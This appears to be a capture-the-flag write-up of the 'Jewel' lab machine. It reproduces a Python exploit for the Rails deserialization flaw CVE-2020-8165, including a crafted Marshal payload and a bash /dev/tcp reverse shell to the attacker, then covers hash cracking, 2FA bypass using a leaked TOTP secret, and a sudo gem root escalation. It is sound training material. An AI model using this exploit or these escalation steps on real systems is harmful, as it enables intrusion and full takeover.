This box is created by polarbearer. It takes us through exploiting a deserialization vulnerability in “Ruby on Rails” to achieve remote code execution as a regular user and running commands as root through cracking a disclosed user hash from an SQL file and using Google Authenticator to get through the 2FA verification in the Linux box.

Contents


Port Scanning

# Nmap 7.80 scan initiated Thu Feb 11 19:03:19 2021 as: nmap -sV -sC -sT -p22,8000,8080 -oA nmap/initial -Pn 10.10.10.211
Nmap scan report for 10.10.10.211
Host is up (0.21s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
|   256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
|_  256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
8000/tcp open  http    Apache httpd 2.4.38
|_http-generator: gitweb/2.20.1 git/2.20.1
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.38 (Debian)
| http-title: 10.10.10.211 Git
|_Requested resource was http://10.10.10.211:8000/gitweb/
8080/tcp open  http    nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
|_http-title: BL0G!
Service Info: Host: jewel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 11 19:03:40 2021 -- 1 IP address (1 host up) scanned in 20.60 seconds

There are 3 ports open:

Port 22 - SSH
Port 8000 - HTTP (Apache httpd 2.4.38)
Port 8080 - HTTP (nginx/1.14.2 + Phusion Passenger 6.0.6)


HTTP (Port 8000)

Accessing http://10.10.10.211:8000 immediately redirects us to /gitweb.

port-8000-gitweb

We can see that it uses GitWeb. GitWeb provides a web-based interface of a git repository for read/write access. Developers use gitweb for the simplicity it offers and the web-based interface sometimes makes the code review work easier.

We can see a project with the name .git and description BL0G!. We can now analyze the BL0G! repository.

port8000-git

We can assume by the email address of the author of the project that the name of the user in this box is “bill”. In this only commit of the project, many files have been added, they are the source code to the web application running at port 8080. Let’s take a look at the Gemfile in this ruby project:

1 source 'https://rubygems.org'
2 git_source(:github) { |repo| "https://github.com/#{repo}.git" }
3 
4 ruby '2.5.5'
5 
6 # Bundle edge Rails instead: gem 'rails', github: 'rails/rails'
7 gem 'rails', '= 5.2.2.1'
8 # Use postgresql as the database for Active Record
9 gem 'pg', '>= 0.18', '< 2.0'
10 # Use Puma as the app server
11 gem 'puma', '~> 3.11'
12 # Use SCSS for stylesheets
13 gem 'sass-rails', '~> 5.0'

<snip>

As expected, we can see the ruby gems and one interesting thing here is gem 'rails', '= 5.2.2.1'. We now know the exact version of rails being used in the ruby application. Let’s now check the application itself…


HTTP (Port 8080)

Opening http://10.10.10.211:8080/ we get the following page:

8080-homepage

A simple blogging application in which there are 2 major functionalities of creating and account and logging in. After registering and logging in we get the sucess message User successfully registered: deep and reading access to some articles published over the blogging application but with nothing interesting in particular for us. Reading access to the articles is also available without any authentication so there’s nothing much to test here.

Taking a step back, we found that the version of rails is 5.2.2.1 and ruby version is 2.5.5 in this web application.

Searching on google about these versions I landed upon https://www.rapid7.com/db/vulnerabilities/ruby_on_rails-cve-2020-8165/. The description of this vulnerability is as follows:

A deserialization of untrusted data vulnernerability exists in rails < 5.2.4.3, rails < 6.0.3.1 that can allow an attacker to unmarshal user-provided objects in MemCacheStore and RedisCacheStore potentially resulting in an RCE.

In our case, the application is VULNERABLE to CVE-2020-8165 as the version of rails is older than 5.2.4.3, we can use a public exploit for gaining a shell here. I used https://github.com/umiterkol/CVE-2020-8165–Auto-Shell as it automatically executes commands over the victim machine without much hassle as suggested by the repository name ‘Auto Shell’.

Let’s understand the exploit we found…

Understanding the Exploit

We are exploiting CVE-2020-8165 which is the CVE number for a deserialization vulnerability in ‘Ruby on Rails’ in which the user input data is unmarshalled or deserialized in MemCacheStore and RedisCacheStore. MemCacheStore is used for storing cache in Memcache servers and it helps in load balancing as well whereas RedisCacheStore stores cache data of Redis servers.

The exploit we’re going to use is https://raw.githubusercontent.com/umiterkol/CVE-2020-8165–Auto-Shell/main/CVE-2020-8165–Auto-Shell.py

We will breakdown the snippets of the python based exploit into parts to understand it.

  • Session establishment
URL='http://{}:8080'.format(sys.argv[1])
username='doctor'
password='tester'
email='[email protected]'
 
if len(sys.argv) != 4:
    print("specify victim IP, your IP and port: python3 rev.py 10.10.xx.xx 1515")
    exit(0)
 
s = requests.Session()
 
resp = s.get(URL + '/signup')
rx = r'token" content="(.*)"'
 
token = re.search(rx,resp.text).group(1)

This piece of the exploit establishes a session over port 8080 of the IP address specified in the arguments and searches for a token in the response of the request made to /signup.

  • Creating a user account
data = {}
data['utf8'] = 'â'
data['authenticity_token'] = token
data['user[username]'] = username
data['user[email]'] = email
data['user[password]'] = password
data['commit'] = 'Create User'
resp = s.post(URL + '/users', data=data)

It stores user acount data in variables and sends a POST request to /users with the data to create an account.

  • Logging into the account
data = {}
data['utf8'] = 'â'
data['authenticity_token'] = token
data['session[email]'] = email
data['session[password]'] = password
data['commit'] = 'Log in'
resp = s.post(URL + '/login', data=data)
 
rx = r'href="/users/(.*)"'
user_id = re.search(rx,resp.text).group(1)

This part of the exploit logs into the application using the data used for registering the account. It then stores the user id retrieved through response in a variable.

  • Reverse Shell
rev = "bash -c 'bash -i >& /dev/tcp/{}/{} 0>&1'".format(sys.argv[2], sys.argv[3])
payload = '\x04\x08o\x3A\x40ActiveSupport\x3A\x3ADeprecation\x3A\x3ADeprecatedInstanceVariableProxy'
payload += '\x09\x3A\x0E\x40instanceo\x3A\x08ERB\x08\x3A\x09\x40srcI\x22'
payload += '{}\x60{}\x60'.format(chr(len(rev)+7), rev)
payload += '\x06\x3A\x06ET\x3A\x0E\x40filenameI\x22\x061\x06\x3B\x09T\x3A\x0C\x40linenoi\x06\x3A\x0C\x40method\x3A'
payload += '\x0Bresult\x3A\x09\x40varI\x22\x0C\x40result\x06\x3B\x09T\x3A\x10\x40deprecatorIu\x3A\x1F'
payload += 'ActiveSupport\x3A\x3ADeprecation\x00\x06\x3B\x09T'

It has the Bash TCP reverse shell command which takes in attacker IP and port from the script arguments and creates a marshalled object with the reverse shell payload which will further be deserialized on the victim machine.

  • Sending the payload
data = {}
data['utf8'] = 'â'
data['authenticity_token'] = token
data['_method'] = 'patch'
data['user[username]'] = payload
data['commit'] = 'Update User'
s.post(URL + '/users/' + user_id, data=data)
s.post(URL + '/users/' + user_id, data=data)
 
s.get(URL + '/articles')

This part of the exploit sends the payload over to the application with the required POST parameter values to successfully send the payload. Note that the actual payload is sent as the username in the POST request. Once the request with the payload is sent to the web application, it’s deserialized and our bash TCP reverse shell is executed.

For executing the exploit script we need to run python3 exploit.py 10.10.10.211 LHOST LPORT and make sure our listener is on.

reverse_shell_bill


Privilege Escalation

First off, we need to spawn a proper TTY shell and for that we can run python -c "import pty;pty.spawn('/bin/bash')" and then export TERM=xterm.

Checking for dotfiles at /home/bill gives us an interesting file .google_authenticator.

ls-bill

File contents of ~/.google_authenticator:

2UQI3R52WFCLE6JTLDCSJYMJH4
" WINDOW_SIZE 17
" TOTP_AUTH

The first line is the secret key which can be used for getting the 2FA code. Yes, the user bill has 2 factor authentication enabled in the box.

We can use Google Authenticator browser extension to use the secret key and getting 2FA code but that’s not all we need, we need the password of the user cause 2FA only makes sense when there’s a password authentication before the 2FA prompt.

After some enumeration within the box, I found /var/backups/ directory where I found an odd file dump_2020-08-27.sql

dumpsql

After scrolling through the SQL file I found 2 bcrypt hashes:

$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW

We can try cracking these using tools like hashcat/john with rockyou.txt, I was able to crack $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW by running hashcat -a0 -m 3200 hashes.txt --wordlist /opt/wordlist/rockyou.txt.

We get the result spongebob. We can use this password with any sudo command.

sudo-l

We need the 2FA code now, for that I used https://addons.mozilla.org/en-US/firefox/addon/auth-helper/

We can add the obtained secret key and name it anything, we will get the 2FA verification code.

verify-success

We can successfully authenticate as Bill with 2FA verification code and we can see that the user bill has the permissions to run /usr/bin/gem as root.

To use that to our advantage, we can use /usr/bin/gem to spawn a /bin/bash shell using sudo gem open -e "/bin/bash -c /bin/bash" rdoc and as /usr/bin/gem is capable of being running as root, we will get a root shell.

rooted

We got root! The main takeaway from this is that in real world environments where 2FA is used in machines, we might be able to find secret keys to get the 2FA code ourselves. Always enumerate strong!

I hope you enjoyed this article and gained some valuable knowledge about deserialization in RubyOnRails and about using Google Authenticator and gem binary to our advantage. Feel free to contact me for any suggestions, feedbacks and I would really appreciate those. Contact Me

You can also Buy Me A Coffee to support this blog page!

Back to Top